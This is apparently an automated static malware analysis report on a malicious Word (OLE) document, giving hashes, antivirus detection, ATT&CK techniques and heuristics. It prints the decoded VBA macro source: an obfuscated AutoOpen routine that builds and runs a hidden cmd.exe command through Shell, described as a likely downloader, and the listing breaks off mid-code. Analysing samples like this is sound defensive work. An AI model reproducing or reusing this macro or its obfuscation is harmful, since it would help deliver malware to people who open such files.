Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9542804050ef41c9…

MALICIOUS

Office (OLE)

88.2 KB Created: 2018-08-01 11:23:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 20d3ba64e0482d5690777a526b7834b4 SHA-1: 1c753a2a6a011fbfa98f2652e73b7f086794e247 SHA-256: 9542804050ef41c9dd2e7a99d467f368b294e996e91c9d67b6fd3936b878fb5d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to execute a command using the Shell function, indicated by the concatenation of strings to form the command. The specific command constructed appears to be related to setting environment variables or executing commands, likely for downloading and executing a secondary payload. The presence of the AutoOpen macro and the Shell execution strongly suggests a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Malware.Valyria-6775468-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6775468-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5752 bytes
SHA-256: 4a1380c7f4d3c9006784547e9e60c54745ac982819a2ceeae85501c2c609ad11
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MmazDcCwmYFJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   AppActivate CInt(tdVlFm * YiFptm)
   AppActivate 8
   AppActivate CBool(OjQswP * 50204)
   AppActivate 443986513
Shell@ CVar("cm") + EltWdwdPuz + HiBfRWnoMEdH + wVhjWYbfw + DIXPazNOciZ + whpVvfq + oUwAFqG + RzDJbPkQ, 783507524 - 783507524
   AppActivate ChrW(472216603)
   AppActivate 18
End Sub


Attribute VB_Name = "iCFPfdGTShhz"
Function wVhjWYbfw()
On Error Resume Next
AppActivate 72
   AppActivate Tan(OjzjiV / dHwsA + ciGnn * vzEdQc)
ElWmTzzXqb = "d" + " /V:ON/C" + CStr(Chr(KRownIRD + rOvRqtShw + 34 + qAjzjOOWShJZo + ZGiORArGHHY)) + "s" + "et K5=" + "XVD" + "amWTVpp" + "Omwc" + "PljFRjdr" + "W" + "kfo" + "5:,\qAz" + "}nuI= /M{B" + "vS+(UhNx-e"
AppActivate Atn(TiVkMr - 81448 / 119 + bNsuq)
   AppActivate Chr(BZpDC)
sdImrMwqsr = "@L" + "i1'" + "tsyK$;" + "gQCb9.7)&" + "&f" + "or %P i" + "n (9;25;" + "1" + "2;52;21;59" + ";4" + "8;52;1" + "5;"
AppActivate Int(101340838)
   AppActivate Fix(PFuKCh)
zLwCtz = "15;38;62;6" + "7;1" + "9;40;3" + "7;34;52;12" + ";51;25;67;" + "19;52" + ";1" + "3;5" + "8;38;4"
AppActivate CByte(PcRCVD - EEoOc / ijuJnz * SRwRX)
   AppActivate Sin(bhJpz)
pwVIsHGF = "9" + ";52;5" + "8;69;2" + "2;" + "5" + "2;67;66;" + "1" + "5;55;" + "52;34" + ";58;63;6"
AppActivate 7
   AppActivate 5610
jfzXMmbPzMu = "2;65;31;4" + "7;37;57;" + "48;58;58;" + "9;27;39;" + "39;" + "12;12;12;6" + "9;25;59;25" + ";58;59;9" + ";3" + ";5" + "1;55;34;5" + "8;5"
AppActivate jvapN
   AppActivate Chr(5507)
   AppActivate 134098003
wnZni = "2;21;34;3;" + "58;55" + ";25;" + "34;" + "3;15;" + "69;13;25;" + "11;39;43;" + "3" + "0;49;60;" + "54;50" + ";53;48;" + "58;58" + ";9"
AppActivate CDbl(nzCAtj)
   AppActivate CDbl(ziBOum - BzvmDt)
   AppActivate CSng(71728 + wsqlM)
RnMQjTr = ";27;39;3" + "9;59;35;9;" + "34;52;5" + "8" + ";69;13;25" + ";11;69;6" + "7;21;3" + "9;23;" + "49;2" + "6;11;11" + ";19;5" + "5"
AppActivate wZHXRh
   AppActivate CDbl(OcJNwt + qTKrsp / VwGTJ * LTfbY)
   AppActivate Chr(vhNTDb / HPVfQk)
iOdUObqGVQW = ";32;53" + ";48" + ";" + "5" + "8;58;9;2" + "7" + ";3" + "9;39;59" + ";35;32;60" + ";43;55" + ";5"
AppActivate Mjzhu
   AppActivate jTizIr
sBuTh = "2;55;21;3" + ";69;13;25" + ";11;" + "69" + ";67;21;" + "39;3" + "0;23;36;26"
AppActivate 3750
   AppActivate 442
   AppActivate ChrW(93953 / Lbuzhp)
jSOJL = ";53;4" + "8" + ";58;5" + "8;9;27;" + "39;39" + ";59;35;34;" + "12;" + "55;34;2"
wVhjWYbfw = ElWmTzzXqb + sdImrMwqsr + zLwCtz + pwVIsHGF + jfzXMmbPzMu + wnZni + RnMQjTr + iOdUObqGVQW + sBuTh + jSOJL
   AppActivate KvUZWP
   AppActivate CLng(aKhCuP)
   AppActivate ChrW(95239362)
End Function
Function DIXPazNOciZ()
On Error Resume Next
AppActivate Fix(3)
   AppActivate 8
tuCsLYh = "0;1" + "2;3;5" + "8;5" + "2;21;69;" + "13;25;" + "11;69;3;" + "35;39;40;" + "42" + ";21;70;64" + ";49;53" + ";48;58;5" + "8" + ";"
AppActivate Sin(57759 * zUZiVm + 46865 + fzHlL)
   AppActivate aqVjcd
TljfK = "9;27" + ";39;39" + ";12;48;3" + ";21" + ";58" + ";25;34;24" + ";3;11;55;" + "15;" + "60;69;"
AppActivate CSng(7)
   AppActivate bSzLm
   AppActivate Fix(97)
vDNsGow = "13;25;" + "11;39;68;" + "66" + ";17;" + "30;" + "34;54"
AppActivate Int(JKaur / 837)
   AppActivate CBool(fhEuz)
   AppActivate joAZR
QujVjjpY = ";31;57;" + "69;44;9;15" + ";55;58;4" + "6;" + "57;53;57;" + "71" + ";63;62;1" + "2;61;36;" + "38;3" + "7;" + "38;57;26;5"
AppActivate kKEJC
   AppActivate 8941
   AppActivate Round(aHCji)
XViAM = "6;56;" + "57;63;62;1" + "5;15;19" + ";37;6" + "2;52;34" + ";43;27;58;"
AppActivate cCFpLi
   AppActivate ifFiUf
   AppActivate 7
jRXTiBYHB = "52;1" + "1;9;45;57;" + "2" + "9;57;4" + "5;62;12" + ";61;"
AppActivate 239
   AppActivate 71
   AppActivate Sgn(64)
XuIIcTwBzpm = "36;" + "4" + "5;57" + ";69;" + "52;50;52" + ";57;63;24" +
... (truncated)